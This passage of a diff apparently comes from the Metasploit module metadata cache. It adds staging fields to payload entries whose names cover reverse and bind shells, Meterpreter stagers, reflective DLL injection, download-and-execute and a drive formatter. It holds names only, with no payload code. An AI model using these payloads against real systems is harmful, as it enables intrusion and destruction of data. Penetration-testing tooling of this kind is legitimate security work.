"session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp" }, "payload_python/meterpreter/bind_tcp_uuid": { "name": "Python Meterpreter, Python Bind TCP Stager with UUID Support", @@ -214397,7 +218913,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp_uuid" }, "payload_python/meterpreter/reverse_http": { "name": "Python Meterpreter, Python Reverse HTTP Stager", @@ -214431,7 +218951,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_http" }, "payload_python/meterpreter/reverse_https": { "name": "Python Meterpreter, Python Reverse HTTPS Stager", @@ -214465,7 +218989,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_https" }, "payload_python/meterpreter/reverse_tcp": { "name": "Python Meterpreter, Python Reverse TCP Stager", @@ -214499,7 +219027,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp" }, "payload_python/meterpreter/reverse_tcp_ssl": { "name": "Python Meterpreter, Python Reverse TCP SSL Stager", @@ -214535,7 +219067,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_ssl" }, "payload_python/meterpreter/reverse_tcp_uuid": { "name": "Python Meterpreter, Python Reverse TCP Stager with UUID Support", @@ -214570,7 +219106,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_uuid" }, "payload_python/meterpreter_bind_tcp": { "name": "Python Meterpreter Shell, Bind TCP Inline", @@ -214604,7 +219144,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/meterpreter_reverse_http": { "name": "Python Meterpreter Shell, Reverse HTTP Inline", @@ -214638,7 +219180,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/meterpreter_reverse_https": { "name": "Python Meterpreter Shell, Reverse HTTPS Inline", @@ -214672,7 +219216,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/meterpreter_reverse_tcp": { "name": "Python Meterpreter Shell, Reverse TCP Inline", @@ -214706,7 +219252,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/pingback_bind_tcp": { "name": "Python Pingback, Bind TCP (via python)", @@ -214740,7 +219288,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/pingback_reverse_tcp": { "name": "Python Pingback, Reverse TCP (via python)", @@ -214774,7 +219324,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via python)", @@ -214808,7 +219360,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_reverse_sctp": { "name": "Command Shell, Reverse SCTP (via python)", @@ -214842,7 +219396,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via python)", @@ -214876,7 +219432,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_reverse_tcp_ssl": { "name": "Command Shell, Reverse TCP SSL (via python)", @@ -214910,7 +219468,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/shell_reverse_udp": { "name": "Command Shell, Reverse UDP (via python)", @@ -214944,7 +219504,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_r/shell_bind_tcp": { "name": "R Command Shell, Bind TCP", @@ -214978,7 +219540,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_r/shell_reverse_tcp": { "name": "R Command Shell, Reverse TCP", @@ -215012,7 +219576,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/pingback_bind_tcp": { "name": "Ruby Pingback, Bind TCP", @@ -215046,7 +219612,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/pingback_reverse_tcp": { "name": "Ruby Pingback, Reverse TCP", @@ -215080,7 +219648,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/shell_bind_tcp": { "name": "Ruby Command Shell, Bind TCP", @@ -215115,7 +219685,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/shell_bind_tcp_ipv6": { "name": "Ruby Command Shell, Bind TCP IPv6", @@ -215150,7 +219722,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/shell_reverse_tcp": { "name": "Ruby Command Shell, Reverse TCP", @@ -215185,7 +219759,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_ruby/shell_reverse_tcp_ssl": { "name": "Ruby Command Shell, Reverse TCP SSL", @@ -215219,7 +219795,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/sparc/shell_bind_tcp": { "name": "Solaris Command Shell, Bind TCP Inline", @@ -215253,7 +219831,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/sparc/shell_find_port": { "name": "Solaris Command Shell, Find Port Inline", @@ -215287,7 +219867,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/sparc/shell_reverse_tcp": { "name": "Solaris Command Shell, Reverse TCP Inline", @@ -215321,7 +219903,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/x86/shell_bind_tcp": { "name": "Solaris Command Shell, Bind TCP Inline", @@ -215355,7 +219939,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/x86/shell_find_port": { "name": "Solaris Command Shell, Find Port Inline", @@ -215389,7 +219975,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_solaris/x86/shell_reverse_tcp": { "name": "Solaris Command Shell, Reverse TCP Inline", @@ -215423,7 +220011,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_tty/unix/interact": { "name": "Unix TTY, Interact with Established Connection", @@ -215457,7 +220047,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/adduser": { "name": "Windows Execute net user /ADD", @@ -215494,7 +220086,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/custom/bind_hidden_ipknock_tcp": { "name": "Windows shellcode stage, Hidden Bind Ipknock TCP Stager", @@ -215532,7 +220126,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/custom/bind_hidden_tcp": { "name": "Windows shellcode stage, Hidden Bind TCP Stager", @@ -215570,7 +220168,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/custom/bind_ipv6_tcp": { "name": "Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", @@ -215607,7 +220209,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/custom/bind_ipv6_tcp_uuid": { "name": "Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -215645,7 +220251,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/custom/bind_named_pipe": { "name": "Windows shellcode stage, Windows x86 Bind Named Pipe Stager", @@ -215680,7 +220290,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/custom/bind_nonx_tcp": { "name": "Windows shellcode stage, Bind TCP Stager (No NX or Win7)", @@ -215715,7 +220329,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/custom/bind_tcp": { "name": "Windows shellcode stage, Bind TCP Stager (Windows x86)", @@ -215752,7 +220370,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp" }, "payload_windows/custom/bind_tcp_rc4": { "name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -215791,7 +220413,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/custom/bind_tcp_uuid": { "name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", @@ -215827,7 +220453,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/custom/find_tag": { "name": "Windows shellcode stage, Find Tag Ordinal Stager", @@ -215862,7 +220492,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/findtag_ord" }, "payload_windows/custom/reverse_hop_http": { "name": "Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager", @@ -215899,7 +220533,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_hop_http" }, "payload_windows/custom/reverse_http": { "name": "Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", @@ -215934,7 +220572,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_http" }, "payload_windows/custom/reverse_http_proxy_pstore": { "name": "Windows shellcode stage, Reverse HTTP Stager Proxy", @@ -215969,7 +220611,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_windows/custom/reverse_https": { "name": "Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", @@ -216004,7 +220650,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_https" }, "payload_windows/custom/reverse_https_proxy": { "name": "Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy", @@ -216041,7 +220691,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_https_proxy" }, "payload_windows/custom/reverse_ipv6_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager (IPv6)", @@ -216078,7 +220732,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/custom/reverse_named_pipe": { "name": "Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", @@ -216113,7 +220771,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_named_pipe" }, "payload_windows/custom/reverse_nonx_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", @@ -216148,7 +220810,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/custom/reverse_ord_tcp": { "name": "Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -216183,7 +220849,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/custom/reverse_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager", @@ -216220,7 +220890,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/custom/reverse_tcp_allports": { "name": "Windows shellcode stage, Reverse All-Port TCP Stager", @@ -216257,7 +220931,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/custom/reverse_tcp_dns": { "name": "Windows shellcode stage, Reverse TCP Stager (DNS)", @@ -216295,7 +220973,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/custom/reverse_tcp_rc4": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -216334,7 +221016,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/custom/reverse_tcp_rc4_dns": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -216373,7 +221059,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/custom/reverse_tcp_uuid": { "name": "Windows shellcode stage, Reverse TCP Stager with UUID Support", @@ -216409,7 +221099,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/custom/reverse_udp": { "name": "Windows shellcode stage, Reverse UDP Stager with UUID Support", @@ -216444,7 +221138,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_udp" }, "payload_windows/custom/reverse_winhttp": { "name": "Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", @@ -216480,7 +221178,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_winhttp" }, "payload_windows/custom/reverse_winhttps": { "name": "Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", @@ -216516,7 +221218,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_winhttps" }, "payload_windows/dllinject/bind_hidden_ipknock_tcp": { "name": "Reflective DLL Injection, Hidden Bind Ipknock TCP Stager", @@ -216554,7 +221260,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/dllinject/bind_hidden_tcp": { "name": "Reflective DLL Injection, Hidden Bind TCP Stager", @@ -216592,7 +221302,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/dllinject/bind_ipv6_tcp": { "name": "Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)", @@ -216629,7 +221343,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/dllinject/bind_ipv6_tcp_uuid": { "name": "Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -216667,7 +221385,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/dllinject/bind_named_pipe": { "name": "Reflective DLL Injection, Windows x86 Bind Named Pipe Stager", @@ -216703,7 +221425,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/dllinject/bind_nonx_tcp": { "name": "Reflective DLL Injection, Bind TCP Stager (No NX or Win7)", @@ -216739,7 +221465,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/dllinject/bind_tcp": { "name": "Reflective DLL Injection, Bind TCP Stager (Windows x86)", @@ -216776,7 +221506,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp" }, "payload_windows/dllinject/bind_tcp_rc4": { "name": "Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -216815,7 +221549,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/dllinject/bind_tcp_uuid": { "name": "Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)", @@ -216852,7 +221590,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/dllinject/find_tag": { "name": "Reflective DLL Injection, Find Tag Ordinal Stager", @@ -216888,7 +221630,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/findtag_ord" }, "payload_windows/dllinject/reverse_hop_http": { "name": "Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager", @@ -216926,7 +221672,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_hop_http" }, "payload_windows/dllinject/reverse_http": { "name": "Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)", @@ -216962,7 +221712,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_http" }, "payload_windows/dllinject/reverse_http_proxy_pstore": { "name": "Reflective DLL Injection, Reverse HTTP Stager Proxy", @@ -216998,7 +221752,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_windows/dllinject/reverse_ipv6_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager (IPv6)", @@ -217035,7 +221793,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/dllinject/reverse_nonx_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)", @@ -217071,7 +221833,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/dllinject/reverse_ord_tcp": { "name": "Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -217107,7 +221873,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/dllinject/reverse_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager", @@ -217144,7 +221914,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/dllinject/reverse_tcp_allports": { "name": "Reflective DLL Injection, Reverse All-Port TCP Stager", @@ -217181,7 +221955,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/dllinject/reverse_tcp_dns": { "name": "Reflective DLL Injection, Reverse TCP Stager (DNS)", @@ -217219,7 +221997,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/dllinject/reverse_tcp_rc4": { "name": "Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -217258,7 +222040,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/dllinject/reverse_tcp_rc4_dns": { "name": "Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -217297,7 +222083,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/dllinject/reverse_tcp_uuid": { "name": "Reflective DLL Injection, Reverse TCP Stager with UUID Support", @@ -217334,7 +222124,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/dllinject/reverse_winhttp": { "name": "Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)", @@ -217371,7 +222165,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_winhttp" }, "payload_windows/dns_txt_query_exec": { "name": "DNS TXT Record Payload Download and Execution", @@ -217405,7 +222203,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/download_exec": { "name": "Windows Executable Download (http,https,ftp) and Execute", @@ -217439,7 +222239,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/exec": { "name": "Windows Execute Command", @@ -217474,7 +222276,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/format_all_drives": { "name": "Windows Drive Formatter", @@ -217513,7 +222317,9 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/loadlibrary": { "name": "Windows LoadLibrary Path", @@ -217548,7 +222354,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/messagebox": { "name": "Windows MessageBox", @@ -217583,7 +222391,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter/bind_hidden_ipknock_tcp": { "name": "Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager", @@ -217622,7 +222432,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/meterpreter/bind_hidden_tcp": { "name": "Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager", @@ -217661,7 +222475,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/meterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)", @@ -217699,7 +222517,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/meterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -217737,7 +222559,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/meterpreter/bind_named_pipe": { "name": "Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager", @@ -217775,7 +222601,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/meterpreter/bind_nonx_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)", @@ -217813,7 +222643,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/meterpreter/bind_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)", @@ -217851,7 +222685,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp" }, "payload_windows/meterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -217891,7 +222729,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/meterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP 